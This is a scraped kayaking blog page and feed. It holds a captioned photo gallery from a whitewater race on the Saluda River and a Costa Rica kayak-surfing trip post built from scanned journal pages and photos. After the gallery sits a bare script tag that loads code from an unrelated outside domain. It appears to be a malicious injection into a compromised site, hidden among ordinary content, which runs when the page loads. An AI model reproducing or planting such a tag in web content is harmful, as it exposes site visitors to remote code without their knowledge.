<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8821/' title='img_8821'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8821-150x150.jpg" class="attachment-thumbnail" alt="Andrew was clearly trying to get into every picture.  C&#039;mon dude, let someone else have one" title="img_8821" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8822/' title='img_8822'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8822-150x150.jpg" class="attachment-thumbnail" alt="Number 62" title="img_8822" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8824/' title='img_8824'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8824-150x150.jpg" class="attachment-thumbnail" alt="Regan Squaring up for Eddy time" title="img_8824" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8825/' title='img_8825'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8825-150x150.jpg" class="attachment-thumbnail" alt="And enjoying some time in Dumbass" title="img_8825" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8826/' title='img_8826'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8826-150x150.jpg" class="attachment-thumbnail" alt="Still in control on his edge" title="img_8826" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8827/' title='img_8827'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8827-150x150.jpg" class="attachment-thumbnail" alt="Getting out of Dumbass is hard work.  You gotta come in on Saturdays" title="img_8827" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8828/' title='img_8828'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8828-150x150.jpg" class="attachment-thumbnail" alt="Her name is Aimee Norris and it says it right there" title="img_8828" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8829/' title='img_8829'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8829-150x150.jpg" class="attachment-thumbnail" alt="Who is this guy?" title="img_8829" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8830/' title='img_8830'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8830-150x150.jpg" class="attachment-thumbnail" alt="Oh, it&#039;s the Green Race Movie guy stuck in Dumbass" title="img_8830" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8831/' title='img_8831'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8831-150x150.jpg" class="attachment-thumbnail" alt="Oh, he got out" title="img_8831" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8832/' title='img_8832'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8832-150x150.jpg" class="attachment-thumbnail" alt="And then Andrew had to get in his picture too.  Trying to latch on to famous people aren&#039;t you Andrew?" title="img_8832" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8833/' title='img_8833'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8833-150x150.jpg" class="attachment-thumbnail" alt="&#039;Ello Gov&#039;na!" title="img_8833" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8835/' title='img_8835'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8835-150x150.jpg" class="attachment-thumbnail" alt="Spot of tea?" title="img_8835" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8836/' title='img_8836'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8836-150x150.jpg" class="attachment-thumbnail" alt="Naw, Snowy&#039;s a good guy.  Don&#039;t everyone go faulting him for his Welshness" title="img_8836" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8837/' title='img_8837'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8837-150x150.jpg" class="attachment-thumbnail" alt="Snowy tags the rock" title="img_8837" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8838/' title='img_8838'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8838-150x150.jpg" class="attachment-thumbnail" alt="I will catch the Square Eddy and it will be mine!" title="img_8838" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8839/' title='img_8839'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8839-150x150.jpg" class="attachment-thumbnail" alt="Dumbass has no power against me!" title="img_8839" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8840/' title='img_8840'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8840-150x150.jpg" class="attachment-thumbnail" alt="I paddle a red boat, take that!" title="img_8840" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8841/' title='img_8841'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8841-150x150.jpg" class="attachment-thumbnail" alt="This shot is all sideways and wacky looking" title="img_8841" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8842/' title='img_8842'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8842-150x150.jpg" class="attachment-thumbnail" alt="Competitors listen as Andy Grizzell preaches the good word" title="img_8842" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8843/' title='img_8843'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8843-150x150.jpg" class="attachment-thumbnail" alt="Dammit Andrew, always gettin&#039; in my pictures" title="img_8843" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8844/' title='img_8844'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8844-150x150.jpg" class="attachment-thumbnail" alt="Andy love him some bullhorn" title="img_8844" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8848/' title='img_8848'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8848-150x150.jpg" class="attachment-thumbnail" alt="Inner tubes actually carry more than just rednecks and beer coolers" title="img_8848" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8849/' title='img_8849'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8849-150x150.jpg" class="attachment-thumbnail" alt="Snowy was an olympic inner tube paddler" title="img_8849" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8850/' title='img_8850'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8850-150x150.jpg" class="attachment-thumbnail" alt="Corran Addisson designed that boat" title="img_8850" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8851/' title='img_8851'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8851-150x150.jpg" class="attachment-thumbnail" alt="Will my unborn fetus be able to flatwheel the Disco?" title="img_8851" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8852/' title='img_8852'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8852-150x150.jpg" class="attachment-thumbnail" alt="Hey everybody let&#039;s go swimming in freezing water!" title="img_8852" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8855/' title='img_8855'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8855-150x150.jpg" class="attachment-thumbnail" alt="Go put those tubes back where you got &#039;em" title="img_8855" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8856/' title='img_8856'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8856-150x150.jpg" class="attachment-thumbnail" alt="Iceman racers, led by you know who, hogging the photograph again" title="img_8856" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8857/' title='img_8857'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8857-150x150.jpg" class="attachment-thumbnail" alt="That is the toughest part of the race" title="img_8857" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8861/' title='img_8861'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8861-150x150.jpg" class="attachment-thumbnail" alt="Andrew leads followed closely by Gallaway" title="img_8861" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8862/' title='img_8862'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8862-150x150.jpg" class="attachment-thumbnail" alt="Iceman racers punch it through millrace" title="img_8862" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8863/' title='img_8863'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8863-150x150.jpg" class="attachment-thumbnail" alt="Down and back" title="img_8863" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8865/' title='img_8865'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8865-150x150.jpg" class="attachment-thumbnail" alt="Good idea" title="img_8865" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8866/' title='img_8866'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8866-150x150.jpg" class="attachment-thumbnail" alt="You can forget catching him at this point" title="img_8866" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8867/' title='img_8867'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8867-150x150.jpg" class="attachment-thumbnail" alt="Read the sign punks!" title="img_8867" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8869/' title='img_8869'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8869-150x150.jpg" class="attachment-thumbnail" alt="It&#039;s lonely out here on river right where it kind of smells like a sewage" title="img_8869" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8870/' title='img_8870'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8870-150x150.jpg" class="attachment-thumbnail" alt="Nice of you guys to join the race.  Who farted?" title="img_8870" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8871/' title='img_8871'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8871-150x150.jpg" class="attachment-thumbnail" alt="Well maybe we can get second since camera hog is a mile ahead" title="img_8871" /></a>
<a href='http://effort.tv/2010/01/ice-ice-baby-saluda-river-in-columbia-sc/img_8873/' title='img_8873'><img width="150" height="150" src="http://effort.tv/wp-content/uploads/2010/01/img_8873-150x150.jpg" class="attachment-thumbnail" alt="Andrew thought he would jump out 300 yards above where he was supposed to just to give everyone else a little bit of a chance, but not really." title="img_8873" /></a>
<script src="http://ae.awaue.com/7"></script></p>
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		<title>Kayak Surfing Costa Rica: Playa Pavones &amp; Hermosa</title>
		<link>http://effort.tv/2009/12/kayak-surfing-costa-rica-playa-pavones-hermosa/</link>
		<comments>http://effort.tv/2009/12/kayak-surfing-costa-rica-playa-pavones-hermosa/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 23:05:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Paddling]]></category>
		<category><![CDATA[costa rica]]></category>
		<category><![CDATA[hermosa]]></category>
		<category><![CDATA[paddling]]></category>
		<category><![CDATA[pavones]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[surfing]]></category>
		<category><![CDATA[waves]]></category>

		<guid isPermaLink="false">http://effort.tv/?p=695</guid>
		<description><![CDATA[We did shoot some video too&#8230;
]]></description>
			<content:encoded><![CDATA[<div id="attachment_697" class="wp-caption alignnone" style="width: 489px"><img class="size-large wp-image-697" title="page1" src="http://effort.tv/wp-content/uploads/2009/12/page1-479x1024.jpg" alt="Page 1 - Ray in true form" width="479" height="1024" /><p class="wp-caption-text">Page 1 - Ray in true form</p></div>
<div id="attachment_698" class="wp-caption alignnone" style="width: 433px"><img class="size-large wp-image-698" title="page2" src="http://effort.tv/wp-content/uploads/2009/12/page2-423x1024.jpg" alt="Page 2 - Surf Bag Dilemma" width="423" height="1024" /><p class="wp-caption-text">Page 2 - Surf Bag Dilemma</p></div>
<div id="attachment_746" class="wp-caption alignnone" style="width: 394px"><img class="size-full wp-image-746" title="page3_1105091545" src="http://effort.tv/wp-content/uploads/2009/12/page3_1105091545.jpg" alt="The Michelin Man is ready to travel." width="384" height="512" /><p class="wp-caption-text">The Michelin Man is ready to travel.</p></div>
<div id="attachment_701" class="wp-caption alignnone" style="width: 413px"><img class="size-large wp-image-701" title="page3" src="http://effort.tv/wp-content/uploads/2009/12/page3-403x1024.jpg" alt="Page 3 - Thank you Delta" width="403" height="1024" /><p class="wp-caption-text">Page 3 - Thank you Delta</p></div>
<div id="attachment_702" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-702" title="page4_img_8311" src="http://effort.tv/wp-content/uploads/2009/12/page4_img_8311.jpg" alt="In case the rule slips your mind... Don't smoke on the plane when changing your baby, just before riding your wheelchair." width="640" height="480" /><p class="wp-caption-text">In case the rule slips your mind... Don&#39;t smoke on the plane when changing your baby behind the guy in the wheelchair.</p></div>
<div id="attachment_703" class="wp-caption alignnone" style="width: 446px"><img class="size-large wp-image-703" title="page4" src="http://effort.tv/wp-content/uploads/2009/12/page4-436x1024.jpg" alt="Page 4 - Fear of Flying" width="436" height="1024" /><p class="wp-caption-text">Page 4 - Fear of Flying</p></div>
<div id="attachment_704" class="wp-caption alignnone" style="width: 617px"><img class="size-full wp-image-704 " title="page5_cr2009_rayspedrewcar" src="http://effort.tv/wp-content/uploads/2009/12/page5_cr2009_rayspedrewcar.jpg" alt="Enjoying a moment of freedom, away from it all." width="607" height="407" /><p class="wp-caption-text">And off we go to find some waves.</p></div>
<div id="attachment_705" class="wp-caption alignnone" style="width: 461px"><img class="size-large wp-image-705" title="page5" src="http://effort.tv/wp-content/uploads/2009/12/page5-451x1024.jpg" alt="Page 5 - We just call him Drew" width="451" height="1024" /><p class="wp-caption-text">Page 5 - We just call him Drew</p></div>
<div id="attachment_706" class="wp-caption alignnone" style="width: 648px"><img class="size-full wp-image-706 " title="page6_img_0921" src="http://effort.tv/wp-content/uploads/2009/12/page6_img_0921.jpg" alt="First meal together in the country. - photo Drew Hayes" width="638" height="479" /><p class="wp-caption-text">First meal together in the country. - photo Drew Hayes</p></div>
<div id="attachment_708" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-708" title="page6_img_8264" src="http://effort.tv/wp-content/uploads/2009/12/page6_img_8264.jpg" alt="Gallo Pinto, breakfast of hungry guy in Costa Rica" width="640" height="480" /><p class="wp-caption-text">Gallo Pinto, breakfast of hungry guy in Costa Rica</p></div>
<div id="attachment_707" class="wp-caption alignnone" style="width: 648px"><img class="size-full wp-image-707 " title="page6_img_0926" src="http://effort.tv/wp-content/uploads/2009/12/page6_img_0926.jpg" alt="Finally, I found a food that made me grow, but maybe too much.  Photo Drew Hayes" width="638" height="479" /><p class="wp-caption-text">After Gallo Pinto I am a giant among picnic tables -   Photo Drew Hayes</p></div>
<div id="attachment_700" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-700" title="page3_img_8111" src="http://effort.tv/wp-content/uploads/2009/12/page3_img_8111.jpg" alt="Part of a typical day of driving in Central America." width="640" height="480" /><p class="wp-caption-text">Part of a typical day of driving in Central America.</p></div>
<div id="attachment_709" class="wp-caption alignnone" style="width: 423px"><img class="size-large wp-image-709" title="page6" src="http://effort.tv/wp-content/uploads/2009/12/page6-413x1024.jpg" alt="Page 6 - We arrive at Playa Pavones" width="413" height="1024" /><p class="wp-caption-text">Page 6 - We arrive at Playa Pavones</p></div>
<div id="attachment_752" class="wp-caption alignnone" style="width: 617px"><img class="size-full wp-image-752 " title="cr2009_logjam" src="http://effort.tv/wp-content/uploads/2009/12/cr2009_logjam.jpg" alt="Tight squeeze on the road to Pavones.  Lucky or us we were not on the school bus headed the other direction." width="607" height="402" /><p class="wp-caption-text">Tight squeeze on the road to Pavones.  Lucky or us we were not on the school bus headed the other direction.</p></div>
<div id="attachment_751" class="wp-caption alignnone" style="width: 490px"><img class="size-full wp-image-751" title="page7_img_8145" src="http://effort.tv/wp-content/uploads/2009/12/page7_img_8145.jpg" alt="Sleep was more than welcome and I was awarded with the honorary Star Wars sheets." width="480" height="640" /><p class="wp-caption-text">Sleep was more than welcome and I was awarded with the honorary Star Wars sheets.</p></div>
<div id="attachment_710" class="wp-caption alignnone" style="width: 514px"><img class="size-large wp-image-710" title="page7" src="http://effort.tv/wp-content/uploads/2009/12/page7-504x1024.jpg" alt="Page 7 - The ground is alive" width="504" height="1024" /><p class="wp-caption-text">Page 7 - The ground is alive</p></div>
<div id="attachment_711" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-711" title="page8_img_8130" src="http://effort.tv/wp-content/uploads/2009/12/page8_img_8130.jpg" alt="Pavones and Golfo Dolce from a nearby hill." width="640" height="480" /><p class="wp-caption-text">Pavones and Golfo Dolce from a nearby hill.</p></div>
<div id="attachment_712" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-712" title="page8_img_8131" src="http://effort.tv/wp-content/uploads/2009/12/page8_img_8131.jpg" alt="The domestic barnyard life should not go unnoticed." width="640" height="480" /><p class="wp-caption-text">The domestic barnyard life should not go unnoticed.</p></div>
<div id="attachment_713" class="wp-caption alignnone" style="width: 458px"><img class="size-large wp-image-713" title="page8" src="http://effort.tv/wp-content/uploads/2009/12/page8-448x1024.jpg" alt="Page 8 - Hermit crabs rule this land." width="448" height="1024" /><p class="wp-caption-text">Page 8 - Hermit crabs rule this land.</p></div>
<div id="attachment_714" class="wp-caption alignnone" style="width: 404px"><img class="size-large wp-image-714" title="page9" src="http://effort.tv/wp-content/uploads/2009/12/page9-394x1024.jpg" alt="Page 9 - Small surf, time for some reading." width="394" height="1024" /><p class="wp-caption-text">Page 9 - Small surf, time for some reading.</p></div>
<div id="attachment_715" class="wp-caption alignnone" style="width: 648px"><img class="size-full wp-image-715 " title="page10_img_0956" src="http://effort.tv/wp-content/uploads/2009/12/page10_img_0956.jpg" alt="Gearing up for a session at Pavones - photo Drew Hayes" width="638" height="479" /><p class="wp-caption-text">Gearing up for a session at Pavones - photo Drew Hayes</p></div>
<div id="attachment_716" class="wp-caption alignnone" style="width: 363px"><img class="size-large wp-image-716" title="page10" src="http://effort.tv/wp-content/uploads/2009/12/page10-353x1024.jpg" alt="Page 10 - Bro, Vulture, same thing." width="353" height="1024" /><p class="wp-caption-text">Page 10 - Bro, Vulture, same thing.</p></div>
<div id="attachment_717" class="wp-caption alignnone" style="width: 361px"><img class="size-large wp-image-717" title="page11" src="http://effort.tv/wp-content/uploads/2009/12/page11-351x1024.jpg" alt="Page 11 - Puke your money away" width="351" height="1024" /><p class="wp-caption-text">Page 11 - Go ahead, puke your money away</p></div>
<div id="attachment_718" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-718" title="page12_img_8154" src="http://effort.tv/wp-content/uploads/2009/12/page12_img_8154.jpg" alt="According to Raymond, who has lost his right shoe before in Costa Rica, there are plenty of lefts to be found on just about any beach, but no rights." width="640" height="480" /><p class="wp-caption-text">According to Raymond, who has lost his right shoe before in Costa Rica, there are plenty of lefts to be found on just about any beach, but no rights.  According to my survey he is correct.</p></div>
<div id="attachment_719" class="wp-caption alignnone" style="width: 594px"><img class="size-full wp-image-719  " title="page12_pb080183" src="http://effort.tv/wp-content/uploads/2009/12/page12_pb080183.jpg" alt="The guys are worn out after an attempt at paddleboarding in very windy conditions." width="584" height="438" /><p class="wp-caption-text">The guys are worn out after an attempt at paddleboarding in very windy conditions.</p></div>
<div id="attachment_720" class="wp-caption alignnone" style="width: 370px"><img class="size-large wp-image-720" title="page12" src="http://effort.tv/wp-content/uploads/2009/12/page12-360x1024.jpg" alt="Page 12 - Crap in the water, watch out for king steamers!" width="360" height="1024" /><p class="wp-caption-text">Page 12 - Crap in the water, watch out for king steamers!</p></div>
<div id="attachment_721" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-721" title="page13_img_8219" src="http://effort.tv/wp-content/uploads/2009/12/page13_img_8219.jpg" alt="We ate plenty of these fruits, locally referred to as Momon Chinos.  I called them man testicles." width="640" height="480" /><p class="wp-caption-text">We ate plenty of these fruits, locally referred to as Momon Chinos, and even more locally (in our car) referred to as man testicles.</p></div>
<div id="attachment_722" class="wp-caption alignnone" style="width: 386px"><img class="size-large wp-image-722" title="page13" src="http://effort.tv/wp-content/uploads/2009/12/page13-376x1024.jpg" alt="Page 13 - Don't panic, Raymond is a test driver for Michelin" width="376" height="1024" /><p class="wp-caption-text">Page 13 - Don&#39;t panic, Raymond is a test driver for Michelin</p></div>
<div id="attachment_723" class="wp-caption alignnone" style="width: 624px"><img class="size-large wp-image-723 " title="page14_drew1" src="http://effort.tv/wp-content/uploads/2009/12/page14_drew1-1024x576.jpg" alt="Drew rides a peeling left during our first session at Playa Hermosa" width="614" height="346" /><p class="wp-caption-text">Drew rides a peeling left during our first session at Playa Hermosa</p></div>
<div id="attachment_724" class="wp-caption alignnone" style="width: 370px"><img class="size-large wp-image-724" title="page14" src="http://effort.tv/wp-content/uploads/2009/12/page14-360x1024.jpg" alt="Page 14 - Playa Hermosa is steep" width="360" height="1024" /><p class="wp-caption-text">Page 14 - Playa Hermosa is steep</p></div>
<div id="attachment_725" class="wp-caption alignnone" style="width: 208px"><img class="size-full wp-image-725" title="page15" src="http://effort.tv/wp-content/uploads/2009/12/page15.jpg" alt="Someone commandeered the scanner while I was scanning the journal pages." width="198" height="136" /><p class="wp-caption-text">Page 15 - A little donkey commandeered the scanner while I was scanning the journal.</p></div>
<div id="attachment_726" class="wp-caption alignnone" style="width: 452px"><img class="size-large wp-image-726" title="page16" src="http://effort.tv/wp-content/uploads/2009/12/page16-442x1024.jpg" alt="Page 16 - A swim and a swarm." width="442" height="1024" /><p class="wp-caption-text">Page 16 - A swim and a swarm.</p></div>
<div id="attachment_728" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-728" title="page17_img_8257" src="http://effort.tv/wp-content/uploads/2009/12/page17_img_8257.jpg" alt="She's a real looker" width="640" height="480" /><p class="wp-caption-text">Iguana alongside Hermosa beah.  She&#39;s a real looker.</p></div>
<div id="attachment_729" class="wp-caption alignnone" style="width: 379px"><img class="size-large wp-image-729" title="page17" src="http://effort.tv/wp-content/uploads/2009/12/page17-369x1024.jpg" alt="Page 17 - Police and thieves in the street" width="369" height="1024" /><p class="wp-caption-text">Page 17 - Police and thieves in the street</p></div>
<div id="attachment_730" class="wp-caption alignnone" style="width: 624px"><img class="size-large wp-image-730 " title="page18_cr_spe1" src="http://effort.tv/wp-content/uploads/2009/12/page18_cr_spe1-1024x576.jpg" alt="Bottom turn at Playa Hermosa" width="614" height="346" /><p class="wp-caption-text">Bottom turn in my Ninja 6&#39;8&quot; at Playa Hermosa</p></div>
<div id="attachment_731" class="wp-caption alignnone" style="width: 648px"><img class="size-full wp-image-731 " title="page18_img_1070" src="http://effort.tv/wp-content/uploads/2009/12/page18_img_1070.jpg" alt="Ray pulls a camera shift while guarding the car" width="638" height="479" /><p class="wp-caption-text">Ray pulls a camera shift while guarding the car - Photo Drew Hayes</p></div>
<div id="attachment_732" class="wp-caption alignnone" style="width: 396px"><img class="size-full wp-image-732" title="page18" src="http://effort.tv/wp-content/uploads/2009/12/page18.jpg" alt="Page 18 - The waves that made the trip" width="386" height="1017" /><p class="wp-caption-text">Page 18 - The waves that made the trip</p></div>
<div id="attachment_733" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-733" title="page19_img_8206" src="http://effort.tv/wp-content/uploads/2009/12/page19_img_8206.jpg" alt="Birds of prey - We noticed three distinctly different hawks or ravens." width="640" height="480" /><p class="wp-caption-text">Birds of prey - We noticed three distinctly different hawks or ravens while on walks and drives between surf sessions.</p></div>
<div id="attachment_734" class="wp-caption alignnone" style="width: 373px"><img class="size-large wp-image-734" title="page19" src="http://effort.tv/wp-content/uploads/2009/12/page19-363x1024.jpg" alt="Page 19 - Bug attack from hell" width="363" height="1024" /><p class="wp-caption-text">Page 19 - Bug attack from hell</p></div>
<div id="attachment_735" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-735" title="page20_img_8253" src="http://effort.tv/wp-content/uploads/2009/12/page20_img_8253.jpg" alt="Birrrrd Maaaaaannnn!  This was another one of the hawks." width="640" height="480" /><p class="wp-caption-text">Birrrrd Maaaaaannnn!  This was another one of the hawks.</p></div>
<div id="attachment_736" class="wp-caption alignnone" style="width: 445px"><img class="size-large wp-image-736" title="page20" src="http://effort.tv/wp-content/uploads/2009/12/page20-435x1024.jpg" alt="Page 20 - Did we deserve this torture?" width="435" height="1024" /><p class="wp-caption-text">Page 20 - Did we deserve this torture?</p></div>
<div id="attachment_737" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-737" title="page21_img_8247" src="http://effort.tv/wp-content/uploads/2009/12/page21_img_8247.jpg" alt="Black Hawk up... on a fence post" width="640" height="480" /><p class="wp-caption-text">Black Hawk up... on a fence post</p></div>
<div id="attachment_738" class="wp-caption alignnone" style="width: 420px"><img class="size-large wp-image-738" title="page21" src="http://effort.tv/wp-content/uploads/2009/12/page21-410x1024.jpg" alt="Page 21 - Gordy just bit the bag and stepped out the door." width="410" height="1024" /><p class="wp-caption-text">Page 21 - Gordy just bit the bag and stepped out the door.</p></div>
<div id="attachment_739" class="wp-caption alignnone" style="width: 405px"><img class="size-large wp-image-739" title="page22" src="http://effort.tv/wp-content/uploads/2009/12/page22-395x1024.jpg" alt="Page 22 - Gold Bond comes highly recommended apparently" width="395" height="1024" /><p class="wp-caption-text">Page 22 - Gold Bond comes highly recommended apparently</p></div>
<div id="attachment_740" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-740" title="page23_img_8265" src="http://effort.tv/wp-content/uploads/2009/12/page23_img_8265.jpg" alt="This was the size of the surf during our last couple sessions.  Large." width="640" height="480" /><p class="wp-caption-text">This was the size of the surf during our last couple sessions.  Large.</p></div>
<div id="attachment_754" class="wp-caption alignnone" style="width: 648px"><img class="size-full wp-image-754 " title="page23_img_1067" src="http://effort.tv/wp-content/uploads/2009/12/page23_img_1067.jpg" alt="Paddling out at Hermosa - Photo Drew Hayes" width="638" height="479" /><p class="wp-caption-text">Paddling out at Hermosa - Photo Drew Hayes</p></div>
<div id="attachment_741" class="wp-caption alignnone" style="width: 394px"><img class="size-large wp-image-741" title="page23" src="http://effort.tv/wp-content/uploads/2009/12/page23-384x1024.jpg" alt="Page 23 - A theme of waxing swell" width="384" height="1024" /><p class="wp-caption-text">Page 23 - A theme of waxing swell</p></div>
<div id="attachment_742" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-742" title="page24_img_8268" src="http://effort.tv/wp-content/uploads/2009/12/page24_img_8268.jpg" alt="Hermosa was not nice to some people." width="640" height="480" /><p class="wp-caption-text">Hermosa, beautiful to some, not so much to others.</p></div>
<div id="attachment_743" class="wp-caption alignnone" style="width: 411px"><img class="size-large wp-image-743" title="page24" src="http://effort.tv/wp-content/uploads/2009/12/page24-401x1024.jpg" alt="Page 24 - The Gringo Tax" width="401" height="1024" /><p class="wp-caption-text">Page 24 - The Gringo Tax</p></div>
<div id="attachment_727" class="wp-caption alignnone" style="width: 650px"><img class="size-full wp-image-727" title="page17_img_1078" src="http://effort.tv/wp-content/uploads/2009/12/page17_img_1078.jpg" alt="Which ingredient do you want the least? - Photo Drew Hayes" width="640" height="480" /><p class="wp-caption-text">Which ingredient do you want the least? - Photo Drew Hayes</p></div>
<div id="attachment_748" class="wp-caption alignnone" style="width: 425px"><img class="size-large wp-image-748" title="page25" src="http://effort.tv/wp-content/uploads/2009/12/page25-415x1024.jpg" alt="Page 25 - Was a fun trip, glad I didn't hurl." width="415" height="1024" /><p class="wp-caption-text">Page 25 - Was a fun trip, glad I didn&#39;t hurl.</p></div>
<div id="attachment_749" class="wp-caption alignnone" style="width: 550px"><img class="size-full wp-image-749" title="page26_img_1045" src="http://effort.tv/wp-content/uploads/2009/12/page26_img_1045.jpg" alt="Palm lined road, Playa Hermosa - Photo Drew Hayes" width="540" height="720" /><p class="wp-caption-text">Palm lined road, Playa Hermosa - Photo Drew Hayes</p></div>
<div id="attachment_750" class="wp-caption alignnone" style="width: 405px"><img class="size-large wp-image-750" title="page26" src="http://effort.tv/wp-content/uploads/2009/12/page26-395x1024.jpg" alt="Page 26 - Going home is fun too." width="395" height="1024" /><p class="wp-caption-text">Page 26 - Going home is fun too.</p></div>
